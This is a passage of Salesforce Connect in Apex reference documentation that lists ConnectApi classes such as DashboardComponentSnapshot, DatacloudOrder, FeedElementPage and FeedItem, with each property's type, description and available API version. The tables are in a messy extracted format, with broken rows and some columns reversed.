If content is deleted from a feed element after it's posted or if the access to the content is changed to private, the ConnectApi.ContentCapability exists, however most of its properties are null.

<td>members</td>
<td>ConnectApi.UserReferencePage</td>
<td>Members of the custom recommendation audience.</td>
<td>36.0</td>
</tr>
</tbody>
</table>

ConnectApi.DashboardComponentSnapshot

Represents both dashboard component snapshots and alerts you receive when a dashboard component value crosses a threshold.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>componentId</td>
<td>String</td>
<td>18-character ID of the dashboard component.</td>
<td>32.0</td>
</tr>
<tr>
<td>componentName</td>
<td>String</td>
<td>The dashboard component name.</td>
<td>32.0</td>
</tr>
<tr>
<td>dashboardBodyText</td>
<td>String</td>
<td>Display this text next to the actor in the feed element. Use this text in place of the default body text.</td>
<td>32.0</td>
</tr>
<tr>
<td>dashboardId</td>
<td>String</td>
<td>18-character ID of the dashboard.</td>
<td>32.0</td>
</tr>
<tr>
<td>dashboardName</td>
<td>String</td>
<td>The name of the dashboard.</td>
<td>32.0</td>
</tr>
</tbody>
</table>
### ConnectApi.DashboardComponentSnapshotCapability

If a feed element has this capability, it has a dashboard component snapshot. A snapshot is a static image of a dashboard component at a specific point in time.

Subclass of ConnectApi.FeedElementCapability.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>dashboardComponentSnapshot</td>
<td>ConnectApi.DashboardComponentSnapshot</td>
<td>The dashboard component snapshot.</td>

<td>String</td>
<td>The first name of the contact.</td>
<td>32.0</td>
</tr>
</tbody>
</table>
### Property Name | Type | Description | Available Version
---|---|---|---
**isInactive** | Boolean | Whether this contact is active (true) or not (false). Inactive contacts have out-of-date information in Data.com. | 32.0
**isOwned** | Boolean | Whether this contact is owned (true) or not (false). | 32.0
**lastName** | String | The last name of the contact. | 32.0
**level** | String | A human resource label that designates a person's level in the company. Here are some possible levels.
- C-Level
- Director
- Manager
- Staff | 32.0
**phoneNumbers** | ConnectApi.PhoneNumber | Telephone numbers for the contact, which can include direct-dial business telephone numbers, mobile telephone numbers, and business headquarters telephone numbers. The type of telephone number is also indicated. | 32.0
**title** | String | The title of the contact, such as CEO or Vice President. | 32.0
**updatedAt** | Datetime | The date of the most recent change to this contact’s information. | 32.0

**SEE ALSO: ConnectApi.DatacloudContacts**

**ConnectApi.DatacloudContacts**

Lists all contacts that were purchased in the specific order, page URLs, and the number of contacts in the order.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
</table>
**contacts** | List<ConnectApi.DatacloudContact> | A detailed list of purchased contacts. | 32.0
**currentPageUrl** | String | URL to the current page of contacts. | 32.0
**nextPageUrl** | String | Connect REST API URL identifying the next page, or null if there isn’t a next page. | 32.0
**previousPageUrl** | String | URL to the previous page of contacts. This value is null if there is no previous page. | 32.0
**total** | Integer | Number of contacts that are associated with this order. Can be greater than the number of contacts that are shown on a single page. | 32.0
**ConnectApi.DatacloudOrder**

Represents a Datacloud order.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>entityUrl</td>
<td>String</td>
<td>URL to a list of contacts or companies that were purchased with this order.</td>
<td>32.0</td>
</tr>
<tr>
<td>id</td>
<td>String</td>
<td>Unique number that’s used to track your order information.</td>
<td>32.0</td>
</tr>
<tr>
<td>purchaseCount</td>
<td>Integer</td>
<td>Number of contacts or companies that were purchased for this order.</td>
<td>32.0</td>
</tr>
<tr>
<td>purchaseDate</td>
<td>Datetime</td>
<td>Purchase date for this order.</td>
<td>32.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>GET request URL for this order.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

**ConnectApi.DatacloudPurchaseUsage**

Information about Data.com point usage for monthly and list pool users.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>listpoolCreditsAvailable</td>
<td>Integer</td>
<td>The points or credits that are available in a pool of credits for your organization. This pool of credits can be used by any List Pool User in your organization.</td>
<td>32.0</td>
</tr>
<tr>
<td>listpoolCreditsUsed</td>
<td>Integer</td>
<td>The points or credits that have been used from a pool of credits that are used by List Pool Users to purchase records.</td>
<td>32.0</td>
</tr>
<tr>
<td>monthlyCreditsAvailable</td>
<td>Integer</td>
<td>The total credits that are assigned to a Monthly User. Unused credits expire at the end of each month.</td>
<td>32.0</td>
</tr>
<tr>
<td>monthlyCreditsUsed</td>
<td>Integer</td>
<td>The credits that are used by a Monthly User for the current month.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

**ConnectApi.DateRecordField**

A record field containing a date.

Subclass of ConnectApi.LabeledRecordField

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>dateValue</td>
<td>Datetime</td>
<td>A date that a machine can read. Ignore the trailing 00:00:00.0000Z characters.</td>
<td>29.0</td>
</tr>
</tbody>
</table>
**ConnectApi.DeleteIntent**
Delete intent for a social post.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>managedSocialAccount</td>
<td>ConnectApi.ManagedSocialAccount</td>
<td>Managed social account that deletes the social post.</td>
<td>45.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
- [ConnectApi.DeleteIntents](#)

**ConnectApi.DeleteIntents**
List of delete intents for a social post.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>deletes</td>
<td>List&lt;ConnectApi.DeleteIntent&gt;</td>
<td>List of delete intents for the social post.</td>
<td>45.0</td>
</tr>
</tbody>
</table>

SEE ALSO:

**ConnectApi.DeleteSocialPostIntent**
Delete intent for the social post.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>socialAccountId</td>
<td>String</td>
<td>ID of the social account that deletes the social post.</td>
<td>46.0</td>
</tr>
<tr>
<td>socialPostId</td>
<td>String</td>
<td>ID of the social post to delete.</td>
<td>46.0</td>
</tr>
</tbody>
</table>

**ConnectApi.DigestJob**
Represents a successfully enqueued API digest job request.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>period</td>
<td>ConnectApi.DigestPeriod</td>
<td>Time period that’s included in a Chatter email digest.</td>
<td>37.0</td>
</tr>
</tbody>
</table>

Values are:
- **DailyDigest**—The email includes up to the 50 latest posts from the previous day.
- **WeeklyDigest**—The email includes up to the 50 latest posts from the previous week.
ConnectApi.DirectMessageCapability

If a feed element has this capability, it’s a direct message.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>memberChanges</td>
<td>ConnectApi. DirectMessage MemberActivityPage</td>
<td>Member activities of the direct message, with the most recent activity first.</td>
<td>40.0</td>
</tr>
<tr>
<td>members</td>
<td>ConnectApi. DirectMessage MemberPage</td>
<td>Members included in the direct message.</td>
<td>39.0</td>
</tr>
<tr>
<td>originalMembers</td>
<td>ConnectApi. DirectMessage MemberPage</td>
<td>Original members of the direct message.</td>
<td>40.0</td>
</tr>
<tr>
<td>subject</td>
<td>String</td>
<td>Subject of the direct message.</td>
<td>39.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
ConnectApi.FeedElementCapabilities

ConnectApi.DirectMessageMemberActivity

Direct message member activity.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>activityDate</td>
<td>Datetime</td>
<td>Direct message member activity date.</td>
<td>40.0</td>
</tr>
<tr>
<td>actor</td>
<td>ConnectApi. UserSummary</td>
<td>User who changed the direct message membership.</td>
<td>40.0</td>
</tr>
<tr>
<td>membersAdded</td>
<td>ConnectApi. DirectMessage MemberPage</td>
<td>Members added to the direct message as part of the activity.</td>
<td>40.0</td>
</tr>
<tr>
<td>membersRemoved</td>
<td>ConnectApi. DirectMessage MemberPage</td>
<td>Members removed from the direct message as part of the activity.</td>
<td>40.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
ConnectApi.DirectMessageMemberActivityPage

ConnectApi.DirectMessageMemberActivityPage

A page of direct message member activities.
### Available Version Description Type Property Name

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>

### ConnectApi.DistanceCalculationOutputRepresentation

Shipping distance data for a set of inventory locations.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>averageDistance</td>
<td>Double</td>
<td>The average distance from the locations to the order recipient.</td>
<td>51.0</td>
</tr>
</tbody>
</table>
Available Version | Description | Type | Property Name
--- | --- | --- | ---
51.0 | The list of locations and their distances to the order recipient. | List<ConnectApi.LocationOutputRepresentation> | locations
51.0 | This result's rank among all results by average distance to the order recipient. | Integer | rank

**ConnectApi.DownVoteSummary**

Summary of a downvote.

Subclass of **ConnectApi.UserFeedEntityActivitySummary**

No additional properties.

**ConnectApi.EditCapability**

If a feed element or comment has this capability, users who have permission can edit it.

Available Version | Description | Type | Property Name
--- | --- | --- | ---
34.0 | Specifies whether editing this feed element or comment is restricted. If true, the context user can't edit this feed element or comment. If false, the context user may or may not have permission to edit this feed element or comment. To determine if the context user can edit a feed element or comment, use the isFeedElementEditableByMe(communityId, feedElementId) or isCommentEditableByMe(communityId, commentId) method. | Boolean | isEditRestricted
34.0 | The URL to check if the context user is able to edit this feed element or comment. | String | isEditableByMeUrl
34.0 | Who last edited this feed element or comment. | ConnectApi.Actor | lastEditedBy
34.0 | The most recent edit date of this feed element or comment. | Datetime | lastEditedDate
34.0 | The most recent revision of this feed element or comment. | Integer | latestRevision
34.0 | Relative last edited date, for example, “2h ago.” | String | relativeLastEditedDate

SEE ALSO:

- **ConnectApi.CommentCapabilities**
- **ConnectApi.FeedElementCapabilities**
ConnectApi.EmailAddress

Email address.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>displayName</td>
<td>String</td>
<td>The display name for the email address.</td>
<td>29.0</td>
</tr>
<tr>
<td>emailAddress</td>
<td>String</td>
<td>The email address.</td>
<td>29.0</td>
</tr>
<tr>
<td>relatedRecord</td>
<td>ConnectApi.RecordSummary</td>
<td>The summary of a related record, for example, a contact or user summary.</td>
<td>36.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
- ConnectApi.EmailMessageCapability

ConnectApi.EmailAttachment

An email attachment in an email message.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>attachment</td>
<td>ConnectApi.RecordSummary</td>
<td>Record summary of the attachment.</td>
<td>36.0</td>
</tr>
<tr>
<td>contentType</td>
<td>String</td>
<td>Type of attachment.</td>
<td>36.0</td>
</tr>
<tr>
<td>fileName</td>
<td>String</td>
<td>Name of the attachment.</td>
<td>36.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
- ConnectApi.EmailMessageCapability

ConnectApi.EmailMergeFieldCollectionInfo

The merge fields for an object.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>mergeFields</td>
<td>List&lt;String&gt;</td>
<td>List of merge fields for a single object.</td>
<td>39.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
- ConnectApi.EmailMergeFieldInfo

ConnectApi.EmailMergeFieldInfo

The map for objects and their merge fields.
### entityToMergeFieldsMap

Map for multiple objects and their merge field collections.

---

### ConnectApi.EmailMessageCapability

If a feed element has this capability, it has an email message from a case.

Subclass of `ConnectApi.FeedElementCapability`.

---

#### Available Version

**SEE ALSO:**
- ConnectApi.FeedElement
- ConnectApi.FeedItemSummary

## ConnectApi.FeedElementCapability

A feed element capability, which defines the characteristics of a feed element.

In API version 30.0 and earlier, most feed items can have comments, likes, topics, and so on. In version 31.0 and later, every feed item (and feed element) can have a unique set of capabilities. If a capability property exists on a feed element, that capability is available, even if the capability property doesn’t have a value. For example, if the `ChatterLikes` capability property exists on a feed element (with or without a value), the context user can like that feed element. If the capability property doesn’t exist, it isn’t possible to like that feed element. A capability can also contain associated data. For example, the `Moderation` capability contains data about moderation flags.

This class is abstract.

This class is a superclass of:

- ConnectApi.AssociatedActionsCapability
- ConnectApi.ApprovalCapability
- ConnectApiBannerCapability
- ConnectApi.BookmarksCapability
- ConnectApi.BundleCapability

### ConnectApi.FeedElementPage

A paged collection of ConnectApi.FeedElement objects.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>currentPageToken</td>
<td>String</td>
<td>Token identifying the current page.</td>
<td>31.0</td>
</tr>
<tr>
<td>currentPageUrl</td>
<td>String</td>
<td>Connect REST API URL identifying the current page.</td>
<td>31.0</td>
</tr>
<tr>
<td>elements</td>
<td>List&lt;ConnectApi.FeedElement&gt;</td>
<td>Collection of feed elements.</td>
<td>31.0</td>
</tr>
<tr>
<td>isModifiedToken</td>
<td>String</td>
<td>An opaque polling token to use in the since parameter of the ChatterFeeds.isModified method. The token describes when the feed was last modified.</td>
<td>31.0</td>
</tr>
<tr>
<td>isModifiedUrl</td>
<td>String</td>
<td>A Connect REST API URL with a since request parameter that contains an opaque token that describes when the feed was last modified. Returns null if the feed isn’t a news feed. Use this URL to poll a news feed for updates.</td>
<td>31.0</td>
</tr>
</tbody>
</table>

**Important:** This feature is available through a Feed Polling pilot program. This pilot program is closed and not accepting new participants.
<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>nextPageToken</td>
<td>String</td>
<td>Token identifying the next page, or null if there isn't a next page.</td>
<td>31.0</td>
</tr>
<tr>
<td>nextPageUrl</td>
<td>String</td>
<td>Connect REST API URL identifying the next page, or null if there isn't a next page.</td>
<td>31.0</td>
</tr>
<tr>
<td>updatesToken</td>
<td>String</td>
<td>A token to use in a request to the ConnectApi.ChatterFeeds.getFeedElementsUpdatedSince method.</td>
<td>31.0</td>
</tr>
<tr>
<td>updatesUrl</td>
<td>String</td>
<td>A Connect REST API feed resource containing the feed elements that have been updated since the feed was refreshed. If the feed doesn't support this feature, the value is null.</td>
<td>31.0</td>
</tr>
</tbody>
</table>

**Important:** This feature is available through a Feed Polling pilot program. This pilot program is closed and not accepting new participants.

- ConnectApi.BundleCapability
- ConnectApi.Feed

### ConnectApi.FeedEnabledEntity
An entity that can have feeds associated with it.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>id</td>
<td>String</td>
<td>The 18-character ID of the record.</td>
<td>39.0</td>
</tr>
<tr>
<td>motif</td>
<td>ConnectApi.Motif</td>
<td>Small, medium, and large icons indicating the record’s type.</td>
<td>39.0</td>
</tr>
<tr>
<td>name</td>
<td>String</td>
<td>The localized name of the record.</td>
<td>39.0</td>
</tr>
<tr>
<td>type</td>
<td>String</td>
<td>The type of the record.</td>
<td>39.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>URL to the record.</td>
<td>39.0</td>
</tr>
</tbody>
</table>

**SEE ALSO:**
- ConnectApi.ChatterStream

### ConnectApi.FeedEntityIsEditable
Indicates if the context user can edit a feed element or comment.
### ConnectApi.FeedEntityNotAvailableSummary

A summary when the feed entity isn’t available.

Subclass of `ConnectApi.FeedEntitySummary`.

No additional properties.

### ConnectApi.FeedEntityReadSummary

Summary of the feed post or comment that was read.

Subclass of `ConnectApi.UserFeedEntityActivitySummary`.

No additional properties.

### ConnectApi.FeedEntityShareCapability

If a feed element or comment has this capability, a feed entity is shared with it.

Subclass of `ConnectApi.FeedElementCapability`.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>feedEntity</td>
<td><code>ConnectApi.FeedEntitySummary</code></td>
<td>The summary of the feed entity that is shared with the feed element or comment.</td>
<td>39.0</td>
</tr>
</tbody>
</table>

### ConnectApi.FeedEntitySummary

The summary of a feed entity that is shared with a feed element.

This class is abstract.

Superclass of:
- `ConnectApi.FeedItemSummary`
- `ConnectApi.FeedEntityNotAvailableSummary`
<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>actor</td>
<td>ConnectApi.Actor</td>
<td>Entity that created the feed entity.</td>
<td>39.0</td>
</tr>
<tr>
<td>body</td>
<td>ConnectApi.FeedBody</td>
<td>Information about the feed entity.</td>
<td>39.0</td>
</tr>
<tr>
<td>createDate</td>
<td>Datetime</td>
<td>ISO 8601 date string, for example, 2011-02-25T18:24:31.000Z, when the entity was created.</td>
<td>39.0</td>
</tr>
<tr>
<td>feedElementType</td>
<td>ConnectApi.FeedElementType</td>
<td>Type of feed entity.</td>
<td>39.0</td>
</tr>
<tr>
<td></td>
<td>• Bundle—A container of feed elements. A bundle also has a body made up of message segments that can always be gracefully degraded to text-only values.</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>• FeedItem—A feed item has a single parent and is scoped to one Experience Cloud site or across all Experience Cloud sites. A feed item can have capabilities such as bookmarks, canvas, content, comment, link, poll. Feed items have a body made up of message segments that can always be gracefully degraded to text-only values.</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>• Recommendation—A recommendation is a feed element with a recommendations capability. A recommendation suggests records to follow, groups to join, or applications that are helpful to the context user.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>id</td>
<td>String</td>
<td>18-character ID of the feed entity.</td>
<td>39.0</td>
</tr>
<tr>
<td>isEntityAvailable</td>
<td>Boolean</td>
<td>Specifies whether the entity is available. If <code>false</code>, either the user doesn't have access to the entity or the entity was deleted.</td>
<td>39.0</td>
</tr>
<tr>
<td>parent</td>
<td>ConnectApi.ActorWithId</td>
<td>Parent of the feed entity.</td>
<td>39.0</td>
</tr>
<tr>
<td>relativeCreateDate</td>
<td>String</td>
<td>Relative created date, for example, “2h ago.”</td>
<td>39.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>URL to the feed entity.</td>
<td>39.0</td>
</tr>
</tbody>
</table>

SEE ALSO:

ConnectApi.FeedEntityShareCapability

ConnectApi.FeedFavorite

Feed favorite.
## AVAILABLE VERSION

</tbody>
</table>

### ConnectApi.FeedItem

Subclass of ConnectApi.FeedElement Class as of 31.0.
<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>actor</td>
<td><code>ConnectApi.Actor</code></td>
<td>The entity that created the feed item.</td>
<td>28.0</td>
</tr>
<tr>
<td>attachment</td>
<td><code>ConnectApi.FeedItemAttachment</code></td>
<td>Information about the attachment. If there is no attachment, returns null. <strong>Important:</strong> As of version 32.0, use the inherited capabilities property.</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>canShare</td>
<td><code>Boolean</code></td>
<td>Indicates whether the feed item can be shared. If a feed item has multiple file attachments and at least one attachment has been deleted or is inaccessible, the feed item can’t be shared. The canShare value is incorrectly set to true in these cases. <strong>Important:</strong> As of version 39.0, use the isSharable property.</td>
<td>28.0–38.0</td>
</tr>
<tr>
<td>clientInfo</td>
<td><code>ConnectApi.ClientInfo</code></td>
<td>Information about the connected app used to authenticate the connection.</td>
<td>28.0</td>
</tr>
<tr>
<td>comments</td>
<td><code>ConnectApi.CommentPage</code></td>
<td>First page of comments for this feed item. <strong>Important:</strong> As of version 32.0, use the inherited capabilities.comments.page property.</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>event</td>
<td><code>Boolean</code></td>
<td>true if feed item is created due to an event change, false otherwise.</td>
<td>22.0</td>
</tr>
<tr>
<td>hasVerifiedComment</td>
<td><code>Boolean</code></td>
<td>true if the feed item has a verified comment, otherwise false.</td>
<td>41.0</td>
</tr>
<tr>
<td>isBookmarkedByCurrentUser</td>
<td><code>Boolean</code></td>
<td>true if the context user has bookmarked this feed item, otherwise, false. <strong>Important:</strong> As of version 32.0, use the inherited capabilities.bookmarks.isBookmarkedByCurrentUser property.</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>isDeleteRestricted</td>
<td><code>Boolean</code></td>
<td>If this property is true the comment cannot be deleted by the context user. If it is false, it might be possible for the context user to delete the comment, but it is not guaranteed.</td>
<td>28.0</td>
</tr>
<tr>
<td>Name</td>
<td>Type</td>
<td>Description</td>

<td>Boolean</td>
<td>true if the context user has liked this feed item, otherwise, false.</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td><strong>Important:</strong> As of version 32.0, use the inherited capabilities.chatterLikes.isLikedByCurrentUser property.</td>
<td></td>
</tr>
<tr>
<td>isSharable</td>
<td>Boolean</td>
<td>Indicates whether the feed item can be shared.</td>
<td>39.0</td>
</tr>
<tr>
<td>likes</td>
<td>ConnectApi.ChatterLikePage</td>
<td>First page of likes for this feed item.</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td><strong>Important:</strong> As of version 32.0, use the inherited capabilities.chatterLikes.page property.</td>
<td></td>
</tr>
<tr>
<td>likesMessage</td>
<td>ConnectApi.MessageBody</td>
<td>A message body the describes who likes the feed item.</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td><strong>Important:</strong> As of version 32.0, use the inherited capabilities.chatterLikes.likesMessage property.</td>
<td></td>
</tr>
<tr>
<td>moderationFlags</td>
<td>ConnectApi.ModerationFlags</td>
<td>Information about the moderation flags on a feed item. If ConnectApi.Featur...</td>
<td>29.0–30.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td><strong>Important:</strong> As of version 31.0, use the inherited capabilities.moderation.moderationFlags property.</td>
<td></td>
</tr>
<tr>
<td>myLike</td>
<td>ConnectApi.Reference</td>
<td>If the context user has liked the feed item, this property is a reference to the specific like, otherwise, null.</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td><strong>Important:</strong> As of version 32.0, use the inherited capabilities.chatterLikes.myLike property.</td>
<td></td>
</tr>
<tr>
<td>originalFeedItem</td>
<td>ConnectApi.Reference</td>
<td>A reference to the original feed item if this feed item is a shared feed item, otherwise, null.</td>
<td>28.0</td>
</tr>
<tr>
<td>originalFeedItemActor</td>
<td>ConnectApi.Actor</td>
<td>If this feed item is a shared feed item, returns information about the original poster of the feed item, otherwise, returns null.</td>
<td>28.0</td>
</tr>
<tr>
<td>Name</td>
<td>Type</td>
<td>Description</td>
<td>Available Version</td>
</tr>
<tr>
<td>------------</td>
<td>-------------------------------------------</td>
<td>-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------</td>
<td>-------------------</td>
</tr>
<tr>
<td>photoUrl</td>
<td><code>String</code></td>
<td>URL of the photo associated with the feed item.</td>
<td>28.0</td>
</tr>
<tr>
<td>preamble</td>
<td><code>ConnectApi.MessageBody</code></td>
<td>A collection of message segments, including the unformatted text of the message that you can use as the title of a feed item. Message segments include name, link, and motif icon information for the actor that created the feed item.</td>
<td>28.0–30.0</td>
</tr>
<tr>
<td>topics</td>
<td><code>ConnectApi.FeedItemTopicPage</code></td>
<td>Topics for this feed item.</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>type</td>
<td><code>ConnectApi.FeedItemType</code></td>
<td>Type of feed item.</td>
<td>28.0</td>
</tr>
</tbody>
</table>

### Important:
- For API versions 29.0 and 30.0, use the `ConnectApi.FeedItem.preamble.text` property as the default case to render text. For API versions 31.0 and later, use the `ConnectApi.FeedElement.header.text` property as the default case to render text.

- As of API version 32.0, use the `capabilities` property to determine what can be done with a feed item. See Capabilities.

One of these values:

- `ActivityEvent`—Feed item generated in Case Feed when an event or task associated with a parent record with a feed enabled is created or updated.
- `AdvancedTextPost`—A feed item with advanced text formatting, such as a group announcement post.
- `ApprovalPost`—Feed item with an approval capability. Approvers can act on the feed item parent.
- `AttachArticleEvent`—Feed item generated when an article is attached to a case in Case Feed.
- `BasicTemplateFeedItem`—Feed item with an enhanced link capability.
Available Version

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CallLogPost</td>
<td>Feed item</td>
<td>Feed item generated when a call log is saved to a case in Case Feed.</td>
</tr>
<tr>
<td>CanvasPost</td>
<td>Feed item</td>
<td>Feed item generated by a canvas app in the publisher or from Connect REST API or Connect in Apex. The post itself is a link to a canvas app.</td>
</tr>
<tr>
<td>CaseCommentPost</td>
<td>Feed item</td>
<td>Feed item generated when a case comment is saved in Case Feed.</td>
</tr>
<tr>
<td>ChangeStatusPost</td>
<td>Feed item</td>
<td>Feed item generated when the status of a case is changed in Case Feed.</td>

<td>EmailMessageEvent</td>
<td>Feed item</td>
<td>Feed item generated when an email is sent from a case in Case Feed.</td>
</tr>
<tr>
<td>FacebookPost</td>
<td>Deprecated Feed item generated when a Facebook post is created from a case in Case Feed.</td>
<td></td>
</tr>
<tr>
<td>LinkPost</td>
<td>Feed item</td>
<td>Feed item with a link capability.</td>
</tr>
<tr>
<td>MilestoneEvent</td>
<td>Feed item</td>
<td>Feed item generated when a case milestone is either completed or reaches a violation status. Contains a link to the case milestone.</td>
</tr>
<tr>
<td>PollPost</td>
<td>Feed item</td>
<td>Feed item with a poll capability. Viewers of the feed item are allowed to vote on the options in the poll.</td>
</tr>
</tbody>
</table>
Available Version | Description |
--- | --- |
| 33.0 | A feed item of this type can have a content capability and a link capability. |
| 28.0 | Type of users who can see a feed item. |

**visibility**  
ConnectApi.FeedItemVisibilityType  
Type of users who can see a feed item.  
28.0

- **AllUsers**—Visibility is not limited to internal users.
- **InternalUsers**—Visibility is limited to internal users.

### ConnectApi.FeedItemSummary

A feed item summary.

Subclass of **ConnectApi.FeedEntitySummary**.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>

<tr>
<td>Draft</td>
<td></td>
<td>Contains all the feed items that the context user drafted.</td>
<td>Draft</td>
</tr>
<tr>
<td>Files</td>
<td></td>
<td>Contains all feed items that contain files posted by people or groups that the context user follows.</td>
<td>Files</td>
</tr>
<tr>
<td>Filter</td>
<td></td>
<td>Contains the news feed filtered to contain feed items whose parent is a specified object type.</td>
<td>Filter</td>
</tr>
<tr>
<td>Groups</td>
<td></td>
<td>Contains all feed items from all groups the context user either owns or is a member of.</td>
<td>Groups</td>
</tr>
<tr>
<td>Home</td>
<td></td>
<td>Contains all feed items associated with any managed topic in an Experience Cloud site.</td>
<td>Home</td>
</tr>
<tr>
<td>Landing</td>
<td></td>
<td>Contains all feed items that best drive user engagement when the feed is requested. Allows clients to avoid an empty feed when there aren’t many personalized feed items.</td>
<td>Landing</td>
</tr>
<tr>
<td>Moderation</td>
<td></td>
<td>Contains all feed items that are flagged for moderation, except direct messages. The moderation feed is available only to users with Moderate Experiences Feeds permissions.</td>
<td>Moderation</td>
</tr>
<tr>
<td>Mute</td>
<td></td>
<td>Contains all feed items that the context user muted.</td>
<td>Mute</td>
</tr>
<tr>
<td>News</td>
<td></td>
<td>Contains all updates for people the context user follows, groups the user is a member of, and files and records the user is following. Contains all updates for records whose parent is the context user.</td>
<td>News</td>
</tr>
<tr>
<td>PendingReview</td>
<td></td>
<td>Contains all feed items and comments that are pending review.</td>
<td>PendingReview</td>
</tr>
<tr>
<td>People</td>
<td></td>
<td>Contains all feed items posted by all people the context user follows.</td>
<td>People</td>
</tr>
<tr>
<td>Record</td>
<td></td>
<td>Contains all feed items whose parent is a specified record, which could be a group, user, object, file, or any other standard or custom object. When the record is a group, the feed also contains feed items that mention the group. When the record is a user, the feed contains only feed items on that user. You can get another user’s record feed.</td>
<td>Record</td>
</tr>
<tr>
<td>Streams</td>
<td></td>
<td>Contains all feed items for any combination of up to 25 feed-enabled entities that the context user subscribes to in a stream.</td>
<td>Streams</td>
</tr>
</tbody>
</table>
Examples of feed-enabled entities include people, groups, and records,

- **To**—Contains all feed items with mentions of the context user. Contains feed items the context user commented on and feed items created by the context user that are commented on.
- **Topics**—Contains all feed items that include the specified topic.
- **UserProfile**—Contains feed items created when a user changes records that can be tracked in a feed. Contains feed items whose parent is the user and feed items that @mention the user. This feed is different than the news feed, which returns more feed items, including group updates. You can get another user’s user profile feed.

---

**ConnectApi.FieldChangeSegment**

Field change segment.

Subclass of ConnectApi.ComplexSegment.

No additional properties.

SEE ALSO:

- ConnectApi.MoreChangesSegment

**ConnectApi.FieldChangeNameSegment**

Field change name segment.

Subclass of ConnectApi.MessageSegment.

No additional properties.

**ConnectApi.FieldChangeValueSegment**

Field change value segment.

Subclass of ConnectApi.MessageSegment.

<table>

| origin             | String                | Specifies the file source. Valid values are:  
  • Chatter—file came from Chatter  
